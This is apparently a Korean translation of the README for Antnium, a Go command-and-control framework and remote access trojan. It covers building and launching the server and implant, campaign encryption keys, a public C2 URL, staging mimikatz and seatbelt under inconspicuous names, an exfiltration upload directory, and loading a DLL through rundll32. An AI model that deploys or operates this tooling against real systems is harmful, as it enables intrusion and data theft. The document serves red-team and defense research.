
Go로 작성된 초기 접근용 C2 프레임워크
Anti Tanium
Go로 작성된 C2 프레임워크이자 RAT입니다.
이 소스 코드는 제 프레젠테이션 Develop your own RAT - AV & EDR Defense의 참고 자료로 공개적으로 게시되었습니다. Antnium은 다른 사람의 요구가 아닌 제 자신의 요구를 충족시키기 위해 만들어졌습니다. 제가 수행한 캠페인(campaign)에서는 작동하지만, 반드시 범용 C2 프레임워크를 의미하는 것은 아닙니다.
두 가지 구성 요소가 있습니다:
go(및 git)를 다운로드하여 설치하세요.
여기서는 127.0.0.1:8080을 C2 도메인으로 사용합니다 (동일한 호스트에서 client.exe와 server.exe를 모두 시작하므로 localhost입니다). 이 역시 기본값이므로 변경할 필요가 없습니다.
campaign/campaign.go에서 캠페인을 확인하세요:
serverUrl = "http://127.0.0.1:8080"Windows에서 빌드:
> .\makewin.bat deploy
Linux에서 빌드:
$ make deploy
서버와 클라이언트를 시작하세요:
cd build\
.\server.exe
.\static\client.exe
server.exe를 시작한 후 브라우저에서 다음 URL을 열어 WebUI에 접속하세요:
http://localhost:8080/webui/
static/: 도구용 공개 디렉터리다른 시스템에서 다운로드하려는 파일을 여기에 넣으세요. 예: client.exe, wingman.exe. 그리고 mimikatz.exe나 seatbelt.exe 같은 도구들도요. 단, 더 눈에 띄지 않는 파일 이름을 사용하세요.
파일은 암호화된 파일 이름으로 요청하는 /secure API를 통해서도 사용할 수 있으며, 응답으로 암호화+base64 인코딩된 파일이 반환됩니다.
dotNet 파일은 /secure를 통해 접근하는 remote 실행 옵션을 사용하여 실행할 수 있습니다.
upload/: 데이터 유출을 위한 비공개 디렉터리클라이언트에서 업로드한 파일이 여기에 저장됩니다.
Go 설치:
apt install golang gcc-mingw-w64client.exe와 server.exe를 컴파일하세요:
> .\makewin.bat deploy
그러면 다음이 생성됩니다:
server.exe를 시작하세요:
> cd build
> .\server.exe
Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080
client.exe를 시작하세요:
> .\build\static\client.exe
Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
Linux에서 Windows 클라이언트를 컴파일하는 것은 가능하지만, 일부 Windows 종속성 때문에 수동으로 GO gcc 명령줄을 다뤄야(fu) 합니다. 바로 작동하지 않으면 Windows에서 Windows 클라이언트를 직접 컴파일하세요 (makewin.bat client).
pkg/campaign/campaign.go는 컴파일된 client.exe를 특정 server.exe와 연결하여 캠페인을 구성합니다.
캠페인에는 서버와 클라이언트 간에 공유되는 개별 암호화 및 인증 키가 있습니다.
type Campaign struct {
ApiKey string // Key used to access client facing REST
EncKey []byte // Key used to encrypt packets between server/client
ServerUrl string // URL of the server, as viewed from the clients
}
관리자 UI / 운영자 키는 pkt/server/config.go에 있습니다:
type Config struct {
AdminApiKey string
}
ServerUrl은 클라이언트가 서버와의 모든 상호작용에 사용하는 URL입니다.
예를 들어 http://totallynotmalware.ch와 같은 공개 서버 URL입니다. 실제 server.exe는 리버스 프록시 뒤에 있을 수 있으며 server.exe --listenaddr 127.0.0.1:8080으로 시작될 수 있습니다 (따라서 ServerUrl이 반드시 listenaddr과 같을 필요는 없습니다).
서버에 처음 연결할 때는 먼저 UI에 접근하여 구성해야 합니다.
Angular UI 파일은 공개적으로 접근 가능합니다. ServerUrl="http://localhost:8080"이고 listenaddr=0.0.0.0:8080이라고 가정해 봅시다. 다음 중 하나를 선택할 수 있습니다:
http://localhost:8080/webui로 접근할 수 있는 통합 antniumui를 사용ng serve를 실행한 후 브라우저에서 http://localhost:4200을 엽니다브라우저에서 UI에 연결할 때 먼저 서버 IP와 비밀번호를 구성해야 합니다:
테스트 환경:
Windows에서 컴파일:
> .\makewin.bat client
대상 시스템에 배포하세요.
테스트 환경:
Linux에서:
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080
결과물은 server.exe입니다. 다음 항목이 있거나 생성될 디렉터리에서 실행해야 합니다:
해당 포트에서 REST 서버를 시작하며 다음을 제공합니다:
/: 클라이언트용 REST/ws: 클라이언트용 Websocket/admin: 관리자 인터페이스용 REST (패킷 추가, 클라이언트 조회)/adminws: 관리자 인터페이스용 Websocket (패킷 푸시)/webui: 관리자 인터페이스용 HTML 파일 (Angular 소스 및 html, REST와 websocket에 접근)그 앞에 리버스 프록시를 두거나 (websocket을 지원하는지 확인하세요!) 포트를 포워딩하세요.
수동 프록시를 사용하려면 전체 HTTP URL을 사용하세요:
client.exe -proxy http://proxy:8080
또는 환경 변수를 통해:
export PROXY http://localhost:8080
./client
Wingman은 기본적으로 C2에 직접 연결하지 않는 클라이언트입니다. localhost:50000의 기존 클라이언트에 연결할 수 있습니다 (Campaign.AutoStartDownstreams가 false인 경우 해당 클라이언트가 시작되어 있는지 확인하세요).
localhost 포트 50000에 연결합니다:
wingman.exe
또는 rundll32.exe를 사용하여 dll을 로드합니다 (C:\Windows\SysWOW64\rundll32.exe의 32비트 버전이 아닌 system32의 64비트 rundll32 버전):
C:\Windows\System32\rundll32.exe .\wingman.dll,Start
다운스트림 net#0으로 나타납니다.
go test ./...
여전히 레이스 컨디션(race condition)이 있을 수 있습니다. 한 번 실패하면 다시 실행하세요.